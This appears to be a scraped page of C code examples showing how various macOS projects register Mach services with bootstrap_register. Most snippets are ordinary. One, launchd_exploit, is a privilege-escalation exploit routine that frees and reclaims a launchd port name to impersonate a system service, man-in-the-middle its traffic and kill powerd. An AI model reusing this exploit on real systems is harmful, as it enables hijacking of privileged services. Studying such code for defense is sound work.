Exemplo n.º 1
0
static Boolean __CFMessagePortNativeSetNameLocal(CFMachPortRef port, uint8_t *portname) {
    mach_port_t bp;
    kern_return_t ret;
    task_get_bootstrap_port(mach_task_self(), &bp);
    ret = bootstrap_register(bp, portname, CFMachPortGetPort(port));
    return (ret == KERN_SUCCESS) ? true : false;
}
Exemplo n.º 2
0
static mach_port_t checkin_or_register(char *bname) {
    kern_return_t kr;
    mach_port_t mp;

    /* If we're started by launchd or the old mach_init */
    kr = bootstrap_check_in(bootstrap_port, bname, &mp);
    if (kr == KERN_SUCCESS)
        return mp;

    /* We probably were not started by launchd or the old mach_init */
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "mach_port_allocate(): %s\n", mach_error_string(kr));
        exit(EXIT_FAILURE);
    }

    kr = mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "mach_port_insert_right(): %s\n", mach_error_string(kr));
        exit(EXIT_FAILURE);
    }

    kr = bootstrap_register(bootstrap_port, bname, mp);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "bootstrap_register(): %s\n", mach_error_string(kr));
        exit(EXIT_FAILURE);
    }

    return mp;
}
Exemplo n.º 3
0
static mach_port_t register_service(const char *service_name)
	{
	mach_port_t port = MACH_PORT_NULL;
	kern_return_t kr;

	if (KERN_SUCCESS == (kr = bootstrap_check_in(bootstrap_port, (char *)service_name, &port)))
		{
		if (KERN_SUCCESS != (kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND)))
			helplog(ASL_LEVEL_ERR, "mach_port_insert_right: %s", mach_error_string(kr));
		else
			return port;
		}
	if (KERN_SUCCESS != (kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port)))
		{ helplog(ASL_LEVEL_ERR, "mach_port_allocate: %s", mach_error_string(kr)); goto error; }
	if (KERN_SUCCESS != (kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND)))
		{ helplog(ASL_LEVEL_ERR, "mach_port_insert_right: %s", mach_error_string(kr)); goto error; }

	// XXX bootstrap_register does not modify its second argument, but the prototype does not include const.
	if (KERN_SUCCESS != (kr = bootstrap_register(bootstrap_port, (char *)service_name, port)))
		{ helplog(ASL_LEVEL_ERR, "bootstrap_register failed: %s", mach_error_string(kr)); goto error; }

	return port;
error:
	if (MACH_PORT_NULL != port) mach_port_deallocate(mach_task_self(), port);
	return MACH_PORT_NULL;
	}
Exemplo n.º 4
0
Arquivo: IPC.c Projeto: aosm/Startup
CFRunLoopSourceRef CreateIPCRunLoopSource(CFStringRef aPortName, StartupContext aStartupContext)
{
    CFRunLoopSourceRef	aSource = NULL;
    CFMachPortRef	aMachPort = NULL;
    CFMachPortContext	aContext;
    kern_return_t       aKernReturn = KERN_FAILURE;

    aContext.version = 0;
    aContext.info = (void*) aStartupContext;
    aContext.retain = 0;
    aContext.release = 0;
    aContext.copyDescription = 0;
    aMachPort = CFMachPortCreate(NULL, NULL, &aContext, NULL);
    
    if (aMachPort && aPortName)
      {
        CFIndex aPortNameLength = CFStringGetLength(aPortName);
        CFIndex aPortNameSize = CFStringGetMaximumSizeForEncoding(aPortNameLength, kCFStringEncodingUTF8) + 1;
        uint8_t *aBuffer = CFAllocatorAllocate(NULL, aPortNameSize, 0);
        if (aBuffer && CFStringGetCString(aPortName,
                                        aBuffer,
                                        aPortNameSize,
                                        kCFStringEncodingUTF8))
          {
            mach_port_t   aBootstrapPort;
            task_get_bootstrap_port(mach_task_self(), &aBootstrapPort);
            aKernReturn = bootstrap_register(aBootstrapPort, aBuffer, CFMachPortGetPort(aMachPort));
          }
        if (aBuffer) CFAllocatorDeallocate(NULL, aBuffer);
      }

    if (aMachPort && aKernReturn == KERN_SUCCESS)
      {
        CFRunLoopSourceContext1 aSourceContext;
        aSourceContext.version = 1;
        aSourceContext.info = aMachPort;
        aSourceContext.retain = CFRetain;
        aSourceContext.release = CFRelease;
        aSourceContext.copyDescription = CFCopyDescription;
        aSourceContext.equal = CFEqual;
        aSourceContext.hash = CFHash;
        aSourceContext.getPort = getIPCPort;
        aSourceContext.perform = (void*)handleIPCMessage;
        aSource = CFRunLoopSourceCreate(NULL, 0, (CFRunLoopSourceContext*)&aSourceContext);
      }

    if (aMachPort && (!aSource || aKernReturn != KERN_SUCCESS))
      {
        CFMachPortInvalidate(aMachPort);
        CFRelease(aMachPort);
        aMachPort = NULL;
      }
    return aSource;
}
// Server side : publish the semaphore in the global namespace
bool JackMachSemaphore::Allocate(const char* name, const char* server_name, int value)
{
    BuildName(name, server_name, fName, sizeof(fName));
    mach_port_t task = mach_task_self();
    kern_return_t res;

    if (fBootPort == 0) {
        if ((res = task_get_bootstrap_port(task, &fBootPort)) != KERN_SUCCESS) {
            jack_error("Allocate: Can't find bootstrap mach port err = %s", mach_error_string(res));
            return false;
        }
    }

    if ((res = semaphore_create(task, &fSemaphore, SYNC_POLICY_FIFO, value)) != KERN_SUCCESS) {
        jack_error("Allocate: can create semaphore err = %s", mach_error_string(res));
        return false;
    }

    if ((res = bootstrap_register(fBootPort, fName, fSemaphore)) != KERN_SUCCESS) {
        jack_error("Allocate: can't check in mach semaphore name = %s err = %s", fName, mach_error_string(res));

        switch (res) {
            case BOOTSTRAP_SUCCESS :
                /* service not currently registered, "a good thing" (tm) */
                break;
            case BOOTSTRAP_NOT_PRIVILEGED :
                jack_log("bootstrap_register(): bootstrap not privileged");
                break;
            case BOOTSTRAP_SERVICE_ACTIVE :
                jack_log("bootstrap_register(): bootstrap service active");
                break;
            default :
                jack_log("bootstrap_register() err = %s", mach_error_string(res));
                break;
        }

        return false;
    }

    jack_log("JackMachSemaphore::Allocate name = %s", fName);
    return true;
}
Exemplo n.º 6
0
/* Radar 6386278 New launchd api is npot on embedded yet */
int
ppp_mach_start_server()
{
    boolean_t		active;
    kern_return_t 	status;
    CFRunLoopSourceRef	rls;
	
	active = FALSE;
	status = bootstrap_status(bootstrap_port, PPPCONTROLLER_SERVER, &active);
	
	switch (status) {
		case BOOTSTRAP_SUCCESS:
			if (active) {
				fprintf(stderr, "\"%s\" is currently active.\n", 
						PPPCONTROLLER_SERVER);
				return -1;
			}
			break;
		case BOOTSTRAP_UNKNOWN_SERVICE:
			break;
		default:
			fprintf(stderr,
					"bootstrap_status(): %s\n", mach_error_string(status));
			return -1;
    }
	
    gServer_cfport = CFMachPortCreate(NULL, server_handle_request, NULL, NULL);
    rls = CFMachPortCreateRunLoopSource(NULL, gServer_cfport, 0);
	gControllerRunloop = CFRunLoopGetCurrent();
    CFRunLoopAddSource(gControllerRunloop, rls, kCFRunLoopDefaultMode);
	CFRunLoopAddSource(gControllerRunloop, gTerminalrls, kCFRunLoopDefaultMode);	
    CFRelease(rls);
	
    status = bootstrap_register(bootstrap_port, PPPCONTROLLER_SERVER, 
								CFMachPortGetPort(gServer_cfport));
    if (status != BOOTSTRAP_SUCCESS) {
		mach_error("bootstrap_register", status);
		return -1;
    }
	
    return 0;
}
Exemplo n.º 7
0
static mach_port_t server_port(void *info)
{
    if (!_server_port) {
        kern_return_t ret;

        ret = bootstrap_check_in(bootstrap_port, SECURITYSERVER_BOOTSTRAP_NAME, &_server_port);
        if (ret == KERN_SUCCESS) {
            secdebug("server", "bootstrap_check_in() succeeded, return checked in port: 0x%x\n", _server_port);
            return _server_port;
        }

#if 0
        ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &_server_port);
        if (ret != KERN_SUCCESS) {
            secdebug("server", "mach_port_allocate(): 0x%x: %s\n", ret, mach_error_string(ret));
            exit(2);
        }

        ret = mach_port_insert_right(mach_task_self(), _server_port, _server_port, MACH_MSG_TYPE_MAKE_SEND);
        if (ret != KERN_SUCCESS) {
            secdebug("server", "mach_port_insert_right(): 0x%x: %s\n", ret, mach_error_string(ret));
            exit(3);
        }

        ret = bootstrap_register(bootstrap_port, SECURITYSERVER_BOOTSTRAP_NAME, _server_port);
        if (ret != BOOTSTRAP_SUCCESS) {
            secdebug("server", "bootstrap_register(): 0x%x: %s\n", ret, mach_error_string(ret));
            exit(4);
        }
#else
        exit(1);
#endif

    }

    return _server_port;
}
void launchd_exploit(char* app_group) {
  char* target_service_name = default_target_service_name;
  
  // allocate the receive rights which we will try to replace the service with:
  // (we'll also use them to loop the mach port name in the target)
  size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
    err = mach_port_insert_right(mach_task_self(),
                                 ports[i],
                                 ports[i],
                                 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
  
  // generate some service names we can use:
  char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[strlen(app_group)+64];
    sprintf(name, "%s.%d", app_group, i);
    names[i] = strdup(name);
  }
  
  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);
  
  // free the target in launchd
  do_free(bootstrap_port, target_service);
  
  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
  
  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }
  
  // now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }
  
  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }
  
  start_mitm_thread(target_service, ps);
  
  kill_powerd();
  
  return;
}
Exemplo n.º 9
0
void setup_server_ports(struct port_args *ports)
{
	kern_return_t ret = 0;
	mach_port_t bsport;
	mach_port_t port;

	ports->req_size = MAX(sizeof(ipc_inline_message) +  
			sizeof(u_int32_t) * num_ints, 
			sizeof(ipc_complex_message));
	ports->reply_size = sizeof(ipc_trivial_message) - 
		sizeof(mach_msg_trailer_t);
	ports->req_msg = malloc(ports->req_size);
	ports->reply_msg = malloc(ports->reply_size);
	if (setcount > 0) {
		ports->set = (mach_port_t *)calloc(sizeof(mach_port_t), setcount);
		if (!ports->set) {
			fprintf(stderr, "calloc(%lu, %d) failed!\n", sizeof(mach_port_t), setcount);
			exit(1);
		}
	}
	if (stress_prepost) {
		ports->port_list = (mach_port_t *)calloc(sizeof(mach_port_t), portcount);
		if (!ports->port_list) {
			fprintf(stderr, "calloc(%lu, %d) failed!\n", sizeof(mach_port_t), portcount);
			exit(1);
		}
	}

	if (useset) {
		mach_port_t set;
		if (setcount < 1) {
			fprintf(stderr, "Can't use sets with a setcount of %d\n", setcount);
			exit(1);
		}

		for (int ns = 0; ns < setcount; ns++) {
			ret = mach_port_allocate(mach_task_self(),
						 MACH_PORT_RIGHT_PORT_SET,
						 &ports->set[ns]);
			if (KERN_SUCCESS != ret) {
				mach_error("mach_port_allocate(SET): ", ret);
				exit(1);
			}
			if (verbose > 1)
				printf("SVR[%d] allocated set[%d] %#x\n",
				       ports->server_num, ns, ports->set[ns]);

			set = ports->set[ns];
		}

		/* receive on a port set (always use the first in the chain) */
		ports->rcv_set = ports->set[0];
	}

	/* stuff the portset(s) with ports */
	for (int i = 0; i < portcount; i++) {
		ret = mach_port_allocate(mach_task_self(), 
					 MACH_PORT_RIGHT_RECEIVE,  
					 &port);
		if (KERN_SUCCESS != ret) {
			mach_error("mach_port_allocate(PORT): ", ret);
			exit(1);
		}

		if (stress_prepost)
			ports->port_list[i] = port;

		if (useset) {
			/* insert the port into _all_ allocated lowest-level sets */
			for (int ns = 0; ns < setcount; ns++) {
				if (verbose > 1)
					printf("SVR[%d] moving port %#x into set %#x...\n",
					       ports->server_num, port, ports->set[ns]);
				ret = mach_port_insert_member(mach_task_self(),
							      port, ports->set[ns]);
				if (KERN_SUCCESS != ret) {
					mach_error("mach_port_insert_member(): ", ret);
					exit(1);
				}
			}
		}
	}

	/* use the last one as the server's bootstrap port */
	ports->port = port;

	if (stress_prepost) {
		/* insert a send right for _each_ port */
		for (int i = 0; i < portcount; i++) {
			ret = mach_port_insert_right(mach_task_self(),
						     ports->port_list[i],
						     ports->port_list[i],
						     MACH_MSG_TYPE_MAKE_SEND);
			if (KERN_SUCCESS != ret) {
				mach_error("mach_port_insert_right(): ", ret);
				exit(1);
			}
		}
	} else {
		ret = mach_port_insert_right(mach_task_self(),
					     ports->port,
					     ports->port,
					     MACH_MSG_TYPE_MAKE_SEND);
		if (KERN_SUCCESS != ret) {
			mach_error("mach_port_insert_right(): ", ret);
			exit(1);
		}
	}

	ret = task_get_bootstrap_port(mach_task_self(), &bsport);
	if (KERN_SUCCESS != ret) {
		mach_error("task_get_bootstrap_port(): ", ret);
		exit(1);
	}

	if (verbose) {
		printf("server waiting for IPC messages from client on port '%s' (%#x).\n",
			server_port_name[ports->server_num], ports->port);
	}
	ret = bootstrap_register(bsport,
				 server_port_name[ports->server_num],
				 ports->port);
	if (KERN_SUCCESS != ret) {
		mach_error("bootstrap_register(): ", ret);
		exit(1);
	}
}
Exemplo n.º 10
0
static kern_return_t
unregister_bootstrap_service(void)
{
    return bootstrap_register(server_priv_port, (char *)SERVICE_NAME,
                              MACH_PORT_NULL);
}
Exemplo n.º 11
0
void setup_server_ports(struct port_args *ports)
{
	kern_return_t ret = 0;
	mach_port_t bsport;

	ports->req_size = MAX(sizeof(ipc_inline_message) +  
			sizeof(u_int32_t) * num_ints, 
			sizeof(ipc_complex_message));
	ports->reply_size = sizeof(ipc_trivial_message) - 
		sizeof(mach_msg_trailer_t);
	ports->req_msg = malloc(ports->req_size);
	ports->reply_msg = malloc(ports->reply_size);

	ret = mach_port_allocate(mach_task_self(), 
			MACH_PORT_RIGHT_RECEIVE,  
			&(ports->port));
	if (KERN_SUCCESS != ret) {
		mach_error("mach_port_allocate(): ", ret);
		exit(1);
	}

	ret = mach_port_allocate(mach_task_self(), 
			MACH_PORT_RIGHT_PORT_SET,  
			&(ports->pset));
	if (KERN_SUCCESS != ret) {
		mach_error("mach_port_allocate(): ", ret);
		exit(1);
	}
	
	ret = mach_port_insert_member(mach_task_self(),
			ports->port,
			ports->pset);
	if (KERN_SUCCESS != ret) {
		mach_error("mach_port_insert_member(): ", ret);
		exit(1);
	}

	ret = mach_port_insert_right(mach_task_self(), 
			ports->port, 
			ports->port, 
			MACH_MSG_TYPE_MAKE_SEND);
	if (KERN_SUCCESS != ret) {
		mach_error("mach_port_insert_right(): ", ret);
		exit(1);
	}

	ret = task_get_bootstrap_port(mach_task_self(), &bsport);
	if (KERN_SUCCESS != ret) {
		mach_error("task_get_bootstrap_port(): ", ret);
		exit(1);
	}

	if (verbose) {
		printf("server waiting for IPC messages from client on port '%s'.\n",
			server_port_name[ports->server_num]);
	}
	ret = bootstrap_register(bsport,
				 server_port_name[ports->server_num],
				 ports->port);
	if (KERN_SUCCESS != ret) {
		mach_error("bootstrap_register(): ", ret);
		exit(1);
	}
}